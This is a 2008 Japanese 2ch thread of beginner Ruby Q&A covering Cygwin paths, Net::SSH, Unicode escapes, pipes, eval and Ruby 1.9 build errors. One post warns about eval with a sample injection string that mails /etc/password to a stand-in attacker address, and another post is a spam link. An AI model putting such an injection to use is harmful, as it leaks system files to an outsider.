249 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 14:19:51 ] あえてCygwin版を使うメリットって何? Cygwin環境で閉じた使い方をする分にはパス周りのトラブルが少ないのから?
250 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 14:22:48 ] 昔は全部Cygwinでないとどうにもならなかったんだよ 5年くらい前の話
251 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 15:09:02 ] >>250 つまり、今はそうでもないってこと?
252 名前:238 mailto:sage [2008/01/25(金) 15:09:49 ] みなさん、再度ありがとうございます。 結局、通常のWindows版のRubyを入れて、絶対パスで呼び出すようにしました。 "/cygdrive/c/program Files/ruby-1.8/bin/ruby.exe" ... これで問題なく、Cygwinからでも呼び出せました。 ただ厳密には、CygwinのコンソールでEmacs22を起動し、その中のeshellでで す。Emacsの通常のshellモードでは、表示が少しおかしいようです。 >>246 > 分岐なしで動くようにするのは無理。 そうですか...。それは仕方ありませんね。 >>249 > あえてCygwin版を使うメリットって何? 単純に、Cygwin環境でデフォルトで呼び出されるのがそれだからです。 またPythonが、通常のWindows版はCygwin環境と相性が良くなかったのです。 (対話コンソールをCygwin環境で呼び出すと、画面に何も出ない) だからRubyもWindows版を使うのは避けていました。 ちなみにこのやり取りも Cygwin Emacs22のNavi2chでやっております。 Linux機もあるのですが、Cygwinにはいろいろ便利なことがあるので。
253 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 17:01:18 ] ソースさらすなら、バグが発生する最小限のソースをうpしようよ・・・
254 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 18:35:50 ] >>253 一部をアップした結果「その部分だけでは分からない」と言われたんだろ? そういうときはファイルそのものをアップしてもらった方が手っ取り早い 特に初心者には、どこがどこに影響を及ぼしてるのか、簡単には分からないんだから
255 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 21:41:18 ] >>252 こーゆーので我慢する、もしくは(cygwin|windows)を捨てる def cygpath(opt,path) ; return `cygpath #{opt} #{File.expand_path(path)}` ; end def winpath(path) path = File.expand_path(path) if RUBY_PLATFORM =~ /cygwin/ # ? cygwin 環境と一致する奴 # return `cygpath -w #{path}` return path.sub(%r!^/cygdrive/(.)/!, '\1:/').sub(%r!^/home/!, 'c:/cygwin/') end return path end
256 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 10:14:26 ] arr.each{|i| puts i i-=2 if gets == "prev" # 逆方向に進ませたい! } みたいな事やろうと思ったらwhileと自前の変数でやるしかないんですかね。
257 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 10:18:40 ] >>256 残念ながら、自前で書かないと出来ないですね。 # 外部イテレータが欲しい。
258 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 10:27:29 ] continue -2 とかできたらいいのに。
259 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 10:27:50 ] ああ、Ruby だと next だ。
260 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 12:38:23 ] >>145 遅レスだが、なんでrubydb使ってないの? エラー行へのジャンプも普通にあるよ? んでもって、refe.elとか使えばEmacs上でヘルプも見れる もし、*nix環境ならfastRI入れてri-ruby.el入れるといいんじゃない? ↑はSoftware Design2月号のEmacs特集の受け売りで 俺はWin環境でMeadowだから使ってないけど
261 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 12:42:42 ] >>252 WSHのFileSystemObjectを使うのが常套手段 jp.rubyist.net/magazine/?0004-Win32OLE
262 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 13:28:37 ] Emacsの有名どころではruby-electric.elがあるがこれがまた動作が微妙 導入時は喜ばれるが1週間くらいして無言で外されることで有名
263 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 14:52:22 ] 中括弧とdo〜endぐらいならいいんじゃない? それぐらいなら手で打てってことかもしれんが Meadowでxmpfilter使っている人います? cmdproxy.exeで試したんだけど、スクリプト評価後にプロンプトや ロゴ表示が残ってしまってションボリな感じ
264 名前:デフォルトの名無しさん [2008/01/26(土) 18:57:37 ] Net::SSH.startで:password => 'mypassword'としパスフレーズを指定してるのですが 実行時に"Enter password for /home/localuser/.ssh/id_rsa:"とでて入力を要求されます #!/usr/bin/env ruby require 'rubygems' require 'net/ssh' Net::SSH.start( '192.168.11.3', :username => 'remoteuser', :password => 'mypassword' ) do | session | session.process.popen3('echo "Hello"') do |i, o, e| STDOUT << o.read << "\n" end end 実行時にパスフレーズを要求されないようにするにはどうのようにすればよいですか?
265 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 20:12:24 ] passphraseではなくpasswordなので、これはパスワード認証 のためのログインパスワードであって、秘密鍵ファイルを読むための パスフレーズではないのでは? でもって、 Public/private keys are always tried before the explicit password authentication, even if you provide a password. (net-ssh.rubyforge.org/chapter-2.html ) なので、公開鍵認証が行われている、と。 パスフレーズのほうは、空にするか、ssh-agentとかにお任せすることになるのではないでしょうか。
266 名前:264 mailto:sage [2008/01/26(土) 21:59:13 ] >>265 ありがとうございます ssh-agent初めて知りました
267 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 22:27:33 ] unicodeを表すのに、Javaとかでよく使われている ¥uXXXX という表現方法がありますが これをRubyでデコードするにはどうしたらいいですか。 つまり '¥uXXXX' からunicode文字を得たいです。
268 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 22:34:21 ] str.gsub(/¥¥u((?:[¥da-f]{2}){1,6})/) { [ $1.hex ].pack('U') }
269 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 22:38:37 ] >>267 >>268 でいいと思うけど、後ならnkfを使うかな
270 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 22:42:46 ] >>268 仕組みがさっぱりわからないので、参考になるページがあれば教えてください。
271 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 22:57:30 ] 普通に定義そのまんまだな Unicodeの解説とか読めばいいんじゃね
272 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 23:00:34 ] >>270 Rubyコード的には、 ¥uXXXXのXXXX部分(文字列)を16進数に変換してpack('U')でUnicode文字にしてる。
273 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 23:10:01 ] 正規表現が極力正確なマッチになるように書かれてるから難しく見えるんだと思う
274 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 23:15:14 ] ぶっちゃけ /¥¥u([0-9a-f]+)/ あたりのほうがみやすくて実用的かもな。
275 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 23:19:22 ] >>272 逐語的に訳すとこんな感じ? "\u"より後に続く数字またはa, b, c, d, e, fの2文字の組を 1個から6個ずつまとめてから16進数に変換する Rubyリファレンスマニュアルの正規表現のページと見比べてみりゃ なんとなくわかるんじゃない?
276 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 23:29:49 ] UTF-8の変換式は6オクテットまで規定されてるけど、 Unicode文字がそこまで定義されてないから実質的には 4オクテットまで考慮すればいいみたいね。
277 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 23:32:20 ] この安易な判断が20年後大問題を引き起こすとは 神ならぬ>>276 には思い至ることすらできなかったのであった
278 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 00:09:27 ] もしそうなっても、その前にUTF16連中がさらに大問題をひきおこすから大丈夫。
279 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 00:50:46 ] >>267 小飼が自分で作ったツールを自慢するためにBlogでRuby用のサンプルを書いてたきがする。
280 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 10:53:26 ] 検索用の文字列をユーザーに入力させたいんですが 1. りんご なら単純な部分一致 2. *.jpg ならワイルドカード 3. /\d+/ なら正規表現 としたいんですが一番下は1.の/home/のようなパス指定と区別がつきません。 正規表現を表す文字列で他に一般的な表記はないんでしょうか?
281 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 11:20:41 ] 俺なら、 '\' によるエスケープを仕様に導入して、パス指定は \/home\/ と書かせる。
282 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 13:04:12 ] /hoge#{`mail badguy@example.com < /etc/password`}huga/ なんてのをそのままevalしないようにね。
283 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 13:10:01 ] >>262 ruby-electric.el はどこがダメ?
284 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 13:21:31 ] >>280 「正規表現で入力する」という専用入力プロンプトあるいはオプションスイッチを作る ユーザーが一番欲しい、一番頻繁に使うと推測される機能は1と2だろ 3は見つからないあるいは見つけにくいときに使う機能であるべき
285 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 13:42:06 ] 俺も284に一票 guiならチェックボックスとか >>283 デフォルトだとクォーテーションや"|"も閉じちゃうので 正規表現を書くときにウザいからじゃね?
286 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 14:08:19 ] >>280 エスケープ文字があるときに 正規表現オブジェクトを作るのはどう? もちろん最初と最後の"/"は取り除いて if inputString.include?('\\') && inputString =~ /^\/.*\/$/ re = Regexp.new(inputString[1..-2]) Dir.glob("*").{|fileName| print fileName if fileName =~ re} else Dir.glob(inputString).{|fileName| print fileName} end
287 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 14:15:41 ] >>286 エスケープ文字のない正規表現書けなくない?
288 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 14:29:16 ] >>286 はこれを導入したことで大量な例外の処理を書かなければならなくなると思う
289 名前:286 mailto:sage [2008/01/27(日) 14:46:08 ] 自分でちょっと使ってみたけど、スゲー使いにくいw 文字列先頭の'/'、文字列最後の'/'、文字列中の'\'と暗黙なスイッチを 無駄に3つ追加してて、直感的に使えず全然ダメですわ やっぱ、素直に284の言うとおりにした方がよいと思う
290 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 19:41:23 ] フィルタ系のコマンド(sortとか)に Rubyで生成したテキストを流し込み フィルタが処理した結果を受け取りたいでし。 どう書けば良いのでしょうか? 一旦ファイルに出力して、`sort` とかで受け取るしかないですか?
291 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 19:53:17 ] open('| sort', 'w'){|io| io.write("d\nc\na\nb\n") } 一度きっちりIPCとかパイプとか標準入出力とかフィルタとか調べとくと吉 その点Rubyアプリケーションプログラミングとかいいと思うんだが まるで話題にならないのは中身が硬派すぎるからなんだろうか
292 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 19:58:38 ] >290 読み書き両方ならIO.popenかな。
293 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 20:18:09 ] >>291 あの本は読んでると眠くなる 100パーセント日本語の本なのに眠くなる理由は正直よくわからん
294 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 20:26:59 ] >291-292 ありがとうございました。 >291 ではフィルタの結果を出力することは出来ましたが 結果が受け取れませんでした。 そこで >292 に紹介された IO.popen を リファレンスマニュアルの例文を元に使ってみたのですが 反応が返ってこなくなってしまい、^C しました。 コマンドプロンプトや、バッチファイル上での パイプの使い方は知っていたのですが… >291 さんの言う通り、もう少しパイプについて調べてみます…。
295 名前:291 mailto:sage [2008/01/27(日) 20:36:19 ] ああ、見当違いなレスしてた。ごめん フィルタの中身にもよるけどこれでいけると思う open("| sort", "w+"){|io| io.write("c\nb\na") io.close_write() res = io.read() }
296 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 20:51:10 ] >295 ありがとうございました! close_write() がポイントっぽいですね。
297 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 22:57:47 ] >>296 sort は入力を全部受け付けてからでないと処理できないっしょ close_write で入力は終わったって知らせてやらなきゃ。
298 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 23:12:15 ] Array#sortじゃダメな理由は何?
299 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 23:14:21 ] sortは例で、実際は別のプログラムなんじゃねーの。
300 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 23:17:25 ] > フィルタ系のコマンド(sortとか) に対して「Array#sort使え」というのはかなりマト外してるな まあ、よっぽど特殊なコマンドでない限り、テキストいじりならRuby内部でなんとかなるのも事実ではあるが…
301 名前:デフォルトの名無しさん [2008/01/28(月) 02:13:27 ] #!/usr/bin/env ruby def main() eval(ARGV.join(";")) STDOUT << hoge << "\n" end if __FILE__ == $0 main end みたいなshowhoge.rbを作ってshowhoge.rb "hoge=\"Hello\""を実行したのですが Helloと表示されません。 引数をevalしてオプションを解析する手間を省きたいのですが失敗していますorz
302 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 02:31:27 ] ~$ cat syukudai.rb require 'shellwords' def main() pairs = Shellwords.shellwords(ARGV.join(' ')) pairs.each do |pair| (k,v) = pair.split(/=/) puts "#{k}は#{v}です" end end if __FILE__ == $0 main end ~$ ruby syukudai.rb hoge="Hello" huga='World' hage=\! hogeはHelloです hugaはWorldです hageは!です ただしこれだと"や'を変数に入れることができない
303 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 02:55:17 ] STDOUT << hoge << "\n" C++出身?
304 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 03:03:32 ] evalの前に hoge = nil もしくは@hogeに
305 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 03:16:11 ] >>301 宿題は宿題スレへ Rubyの宿題教えてください。2限目 pc11.2ch.net/test/read.cgi/tech/1200175247/
306 名前:デフォルトの名無しさん [2008/01/28(月) 04:02:28 ] 素直にoptparse使ったほうがいいのでは…
307 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 04:44:13 ] >>301 エラーになる理由は↓参照 リファレンスマニュアル>Ruby 言語仕様>実行>変数と定数>ローカル変数 要するに定義されてない変数(メソッド)を使おうとしてエラーになってる だから eval('STDOUT << hoge << "\n"') なら実行出来る オプション解析なら >>306 の言う通り optparse 使うべき eval にこだわるなら >>304 の様にあらかじめ変数を定義しておく
308 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 05:18:32 ] >>301 とりあえず、 def main() hoge ="" eval(ARGV.join(';')) STDOUT << hoge << "\n" end if __FILE__ == $0 main end と foo.rb "hoge='Hello'" で Hello は表示されるが。 def main() eval(ARGV.join(';') + ";" + %Q(STDOUT << hoge << "\n")) end if __FILE__ == $0 main end これもいけた。
309 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 08:37:42 ] optparseがめんどくさくて死ぬという話なのでは…
310 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 08:46:36 ] Rakeで、実行するコマンドを表示させることはできますか。 例えば rm_f 'filename' とあれば、実行時にどのファイルを削除しようとしているかが表示されてほしいです。
311 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 09:47:45 ] -v
312 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 11:07:09 ] >>311 -vつけても表示されませんけど?
313 名前:デフォルトの名無しさん [2008/01/28(月) 17:42:26 ] myhash = {} myhash[:aaa] = "aaa" #これと myhash["aaa"] = "aaa" #これがどう違うのか分かりません><
314 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 18:14:06 ] >>313 キーが違う。
315 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 19:13:53 ] RubyのHashのキーは文字列(Stringオブジェクト)でなくても構わない。 irb> h = Hash.new irb> arr = ['レ','イ','ク'] irb> h[arr] = '配列だよ' irb> puts h[arr] 配列だよ 前者はたまたま文字列ではないシンボルを使ってるだけの話 シンボルで設定されてるハッシュならシンボルでアクセスしないと動作しないけどな
316 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 21:28:19 ] >>310 rm_f 'hoge', :verbose => true 全般にわたって制御する方法はねーのかな。 >>313 混乱させてしまうが、ActiveSupportというRailsの一部でもあるライブラリを 導入すると、HashWithIndifferentAccessというクラスが定義される。 myhash = {}.with_indifferent_access のようにして作成すると、 myhash[:aaa] と myhash['aaa'] が同じモノを参照するようになる。 (実際には文字列側に正規化されている)
317 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 21:37:26 ] Rake内部のファイル操作がFileUtilsだけを使ってるなら、 どっかでmodule FileUtils::DryRunとかすればいいんだがどうだろね
318 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 21:46:19 ] すみません、Mac OS X上のEmacsのruby-modeを使っているのですが、 日本語を含むソースコードを保存しようとすると 「Symbol's function definition is void: coding-system-to-mime-charset」 と言われて保存できません。どなたか解決策ご存知の方いらっしゃいませんか。
319 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 21:51:15 ] >>317 DryRunって:noop=>trueだよな。 常時ONにしたら何も実行しなくなるんじゃない?
320 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 22:03:44 ] >>319 そりゃ、表示だけして実行はしないよ そういうオプションだもの 表示後に実行もして欲しいかどうかはわからんのでその辺は適当に どうせ教えてもらったのを文字通り組み込むわけじゃないだろ 該当するマニュアルとか見てから組み込むわけだし
321 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 22:07:25 ] >>318 > Symbol's function definition is void: coding-system-to-mime-charset なんでこれが読めないの? Ctrl x RET f して候補を入力しろよ
322 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 22:18:58 ] とあるxmlがあります。具体的に言うとAmazonのECSの蔵書検索のやつ。 で、<Author>著者名</Author>とか<Publisher>出版社</Publisher>とか<Title>書名</Title>とかを20種類くらい得たいです。 しかし、xmlの構造が一定ではなくて、「<Publisher>が無い」というような抜けが稀にあります。 なので、固定の巨大な正規表現でがばっと抜き出すということができません。 #パターン1 h['Author'] = xml.scan(/<Author>(.+?)<\/Author>/).flatten h['Publisher'] = xml.scan(/<Publisher>(.+?)<\/Publisher>/).flatten h['Title'] = xml.scan(/<Title>(.+?)<\/Title/).flatten #パターン2 RE = # 下の結果をあらかじめ直にコピペしたもの # Regexp.union(/<(Author)>(.+?)<\/Author>/,/<(Publisher)>(.+?)<\/Publisher>/,/<(Title)>(.+?)<\/Title/) xml.scan(RE).each do |a| a.compact! h[a[0]] = a[1] end どっちがメモリとかCUP時間とかの負荷少なくて済みそうですか? ちなみにrexmlとかごっついパーサは3秒くらい止まるので候補になりませんでした
323 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 22:25:43 ] xmlは10KB前後です これまではパターン1でxmlを何度もscanしてきたんですが、 「10KBの文字列に何度もアクセスする」という現状にだんだん不安になってきて 「選択入りの長い正規表現で一度だけアクセスしたほうがリソース的にまだマシなんじゃ?」とか思った次第です。
324 名前:デフォルトの名無しさん [2008/01/28(月) 22:26:03 ] ruby 1.9をインスコしたのですが,mechanizeでこけます。 対策教えて下さい。 ruby 1.9はMacOS 10.3 PPC G3です。 $ ./configure --prefix=/opt/local --program-suffix=19 checking build system type... powerpc-apple-darwin7.9.0 checking host system type... powerpc-apple-darwin7.9.0 checking target system type... powerpc-apple-darwin7.9.0 checking for gcc... gcc $ sudo gem19 install mechanize Password: Building native extensions. This could take a while... ERROR: Error installing mechanize: ERROR: Failed to build gem native extension. /opt/local/bin/ruby19 extconf.rb install mechanize checking for main() in -lc... yes creating Makefile make gcc -I. -I/opt/local/include/ruby-1.9.0/powerpc-darwin7.9.0 -I/opt/local/include/ruby-1.9.0 -I. -fno-common -g -O2 -pipe -fno-common -o hpricot_scan.o -c hpricot_scan.c ext/hpricot_scan/hpricot_scan.rl: In function `hpricot_scan': ext/hpricot_scan/hpricot_scan.rl:172: error: structure has no member named `ptr' ext/hpricot_scan/hpricot_scan.rl:185: error: structure has no member named `ptr' ext/hpricot_scan/hpricot_scan.rl:185: error: structure has no member named `len' ext/hpricot_scan/hpricot_scan.rl:186: error: structure has no member named `len' ext/hpricot_scan/hpricot_scan.rl:202: error: structure has no member named `ptr' make: *** [hpricot_scan.o] Error 1 Gem files will remain installed in /opt/local/lib/ruby/gems/1.9.0/gems/hpricot-0.6 for inspection. Results logged to /opt/local/lib/ruby/gems/1.9.0/gems/hpricot-0.6/ext/hpricot_scan/gem_make.out
325 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 22:27:53 ] >>324 > ruby 1.9をインスコした お前にはまだ早い 即刻アンインストールして1.8.6にしろ
326 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 22:40:01 ] >>324 どこを直していいのかわからないような初心者が1.9使っちゃダメ 「おい、1.9でhogehogeが動かないから直してやったぜ。これがパッチな」 というのが正しい使いかた。
327 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 22:46:33 ] 1.9使用者=デバッガか・・・ますます移行する気がおきんな
328 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 22:47:18 ] だから、移行するようなモノじゃないって。
329 名前:318 mailto:sage [2008/01/28(月) 22:49:27 ] >>321 それは試したのですが結果は変わりませんでした。
330 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 22:49:38 ] >>327 お前の周りでは「やっとβ版が出たのでシステムをこれに移行しました」とかいうことがあるのか? しないだろ? 試しに遊んでみて納得する程度だろ?
331 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 22:51:55 ] 次スレたてるときは、「初心者は1.9.0使うな」って書かないとあかんね。
332 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 22:52:34 ] >>331 >>7
333 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 22:53:17 ] いや、付け足し程度ではなく、>>1 にでっかく書こう。
334 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 22:57:16 ] すいません。 1234567...とかの複数桁の数字を桁ごとに分割してそれぞれ扱いたいのですが、 どうやるのが一番解りやすいでしょうか?
335 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 23:03:38 ] >>324 作者に苦情のメールを送る。
336 名前:デフォルトの名無しさん [2008/01/28(月) 23:03:52 ] >>324 1.9では文字列のアクセスの時RSTRING_PTRやRSTRING_LENを使わなくてはいけないのが原因っぽい
337 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 23:05:44 ] >>334 num = 1234567 num.to_s.split(//).each do |n| ketagoto(n.to_i) end
338 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 23:06:49 ] なんで1.9最先端のruby-mode.elなんて。 ともかくemacs --versionの結果を。
339 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 23:06:50 ] x = 123456789 digits = x.to_s.split(//).map {|digit| digit.to_i} とか。 x = 123456789 digits = [] while x > 0 x, y = x.divmod(10) digits.unshift(y) end という書き方もあるか。
340 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 23:11:27 ] >>339 初心者という言葉の意味を履き違えたオナニーヲタは帰れ 自分のブログででもやってろ
341 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 23:12:55 ] Ruby/Tkって今後廃れていくの? ruby1.9.xじゃ添付ライブラリに入らない雰囲気なんでそ? RubyのGUIツールキットは何を使っていくのが正解なの?
342 名前:334 mailto:sage [2008/01/28(月) 23:14:36 ] なるほど、spliteを使って区切り文字に何も入れなければ1文字ごとに分割されるんですね。 ありがとうございます。
343 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 23:15:35 ] >>340 339の前半は338と同じわけだから後半につっこんでるんだよな。 どっちかというとループ組んでちまちまやってる後半のほうが 初心者向けだと思った俺は変?
344 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 23:17:22 ] divmodじゃ?
345 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 23:19:24 ] unshiftとか久しぶりに見た とりあえずスレ的には配列に変換してeachで回せる状況にするのが素直かと…
346 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 23:25:17 ] >>322 パターン1で20回scanするのならおそらくはパターン2を基本にするのがまだマシかと… 俺なら正規表現が長くなりすぎないようにパターン1でおおまかに小分けにしたものにパターン2を適用するけどな
347 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 23:28:16 ] >>341 GUIを使わないのが正解じゃなかろうか。 保守性も考えたGUIのソフトは大概組み込みRubyな感じ。
348 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 23:33:50 ] Ruby的にはサーバとWebブラウザベースで作るのが正解かと思われる 無理してショボいGUIつけたスタンドアロンアプリケーションは斜陽っぽいぞ
349 名前:デフォルトの名無しさん [2008/01/28(月) 23:42:20 ] >>325 オマェの方こそ、厨房なんじゃネェの? 324には--program-suffix=19とかgem19って 書いてあるんだから、どう見たって1.8系と併存してんだろ? なのにアンインストールしろだなんて 本当はソースヨメネェから、対処できなくてごまかしてんじゃね?
350 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 23:43:14 ] さ あ 、 も り あ が っ て ま い り ま し た
351 名前:デフォルトの名無しさん [2008/01/28(月) 23:45:16 ] 最新作 On Air Alien オン.エア.エイリアン zoomtv.atspace.com/?G84Bds9WGIY377?qL_yJKe8kRI11+i_QH1mo46-A27?anB5SSsiolI36+8hj9PlJg0pA17@OnAirAlien
352 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 23:49:11 ] 並存してるかどうかに関わらず1.9系列はアンインストールして1.8.6使うべき
353 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 23:53:37 ] なんかwindowsしか触った事が無い人が言いそうな感じだなぁ・・・
354 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 23:53:52 ] どんなに煽られようが「1.9には触るな」はガチ 手を出したこと自体が誤り 映画で言うとスタンドバイミー
355 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 23:54:41 ] あーわかったわかった 2ちゃんはギャーギャー騒げば大勝利だからな もう何も言わないおめでとさん
356 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 23:57:32 ] 今更自分の勝利のために>>7 を捻じ曲げられても困るわけだが…
357 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 23:59:18 ] つーか開発版にわざわざ手出すなよ。動かないことに文句言うな。 1.9関連は使用を正当化するアホ初心者が沸いて困る。
358 名前:デフォルトの名無しさん mailto:sage [2008/01/29(火) 00:01:07 ] www.ruby-lang.org/ja/install.cgi?cmd=view;name=MacOS+X >curl -O ftp://ftp.ruby-lang.org/pub/ruby/1.9/ruby-1.9.0-0.tar.gz これはMac上がりのニワカBSDヤーを懲らしめようとする巧妙な釣りだなw
359 名前:デフォルトの名無しさん mailto:sage [2008/01/29(火) 00:21:39 ] ふつうはportやfinkで入れるところを……
360 名前:デフォルトの名無しさん mailto:sage [2008/01/29(火) 00:24:49 ] >>357 β版リリースを大々的に宣伝するからだろw
361 名前:デフォルトの名無しさん mailto:sage [2008/01/29(火) 00:30:35 ] 目に付いた1.9.0への言及を1.8.6にしてみた。 改良よろ。 つーか、無駄に記述がおおいな。このページ。
362 名前:デフォルトの名無しさん [2008/01/29(火) 00:33:46 ] 質問です. ベクトル空間モデルの考え方から,コサイン尺度を用いてベクトル間の 類似度を求めることができるじゃないですか? このコサイン尺度の計算式ってプログラムでどう書けば良いのでしょうか?
363 名前:デフォルトの名無しさん mailto:sage [2008/01/29(火) 00:36:54 ] それなりに知識がないと答えられないような。 Ruby固有の話じゃなさそうだから、このへんがいいんじゃないの? プログラミングの為の数学と算数 vol.3 pc11.2ch.net/test/read.cgi/tech/1197063023/ 科学技術計算 pc11.2ch.net/test/read.cgi/tech/1104421606/ 計算アルゴリズム【U】 pc11.2ch.net/test/read.cgi/tech/1129376543/
364 名前:デフォルトの名無しさん mailto:sage [2008/01/29(火) 00:49:29 ] Railsスレとマルチすんなボケェ
365 名前:デフォルトの名無しさん mailto:sage [2008/01/29(火) 01:07:57 ] Railsスレ→Rubyスレ→計算スレ?? 「どこのレイヤーで躓いてるのかが把握できない」というあたりが 初心者ゆえんだな。
366 名前:デフォルトの名無しさん mailto:sage [2008/01/29(火) 01:09:09 ] なんでRailsスレがこの板にあるのかと
367 名前:デフォルトの名無しさん mailto:sage [2008/01/29(火) 01:34:44 ] たかがMVCやってるだけなのに宣伝がうざすぎるんで Webprog板を追い出されました
368 名前:デフォルトの名無しさん mailto:sage [2008/01/29(火) 02:21:05 ] (0..3).each{|i| p (i%1).class} これを実行すると hoge.rb:1: warning: don't put space before argument parentheses 0 0 0 0 となります。 なぜ p (i%1).class は Fixnum と出力されないんでしょうか? ruby 1.8.5 (2006-12-25 patchlevel 12) [i386-mswin32]
369 名前:デフォルトの名無しさん mailto:sage [2008/01/29(火) 02:36:32 ] >>368 (p(i%1)).class と解釈されるからじゃなかろうか
370 名前:デフォルトの名無しさん mailto:sage [2008/01/29(火) 02:39:59 ] なるほどこれならうまくいきました irb(main):004:0> (0..1).each{|i| p((i%2).class) } Fixnum Fixnum => 0..1
371 名前:デフォルトの名無しさん [2008/01/29(火) 15:38:23 ] 正規表現を合理化するスクリプトを書いているのですが, 以下のようにつらつらと書くと,とても手間が掛かるので, もっと簡単に行う方法はないのでしょうか? $KCODE="SJIS" str = '2007年(01|02|03|04|05|06|07|08|09|10|11|12))月' str.gsub!('(01|02|03|04|05|06|07|08|09|10|11|12)','(0[1-9]|1[0-2])') str.gsub!('01|02|03|04|05|06|07|08|09','0[1-9]') str.gsub!('10|11|12|13|14|15|16|17|18|19','1\d') str.gsub!('20|21|22|23|24|25|26|27|28|29','2\d') str.gsub!('30|31|32|33|34|35|36|37|38|39','3\d') str.gsub!('40|41|42|43|44|45|46|47|48|49','4\d') str.gsub!('50|51|52|53|54|55|56|57|58|59','5\d') str.gsub!('60|61|62|63|64|65|66|67|68|69','6\d') str.gsub!('70|71|72|73|74|75|76|77|78|79','7\d') str.gsub!('80|81|82|83|84|85|86|87|88|89','8\d') str.gsub!('90|91|92|93|94|95|96|97|98|99','9\d') str.gsub!('10|11|12','1[0-2]') p str
372 名前:デフォルトの名無しさん mailto:sage [2008/01/29(火) 15:51:38 ] もう死ぬしかないね
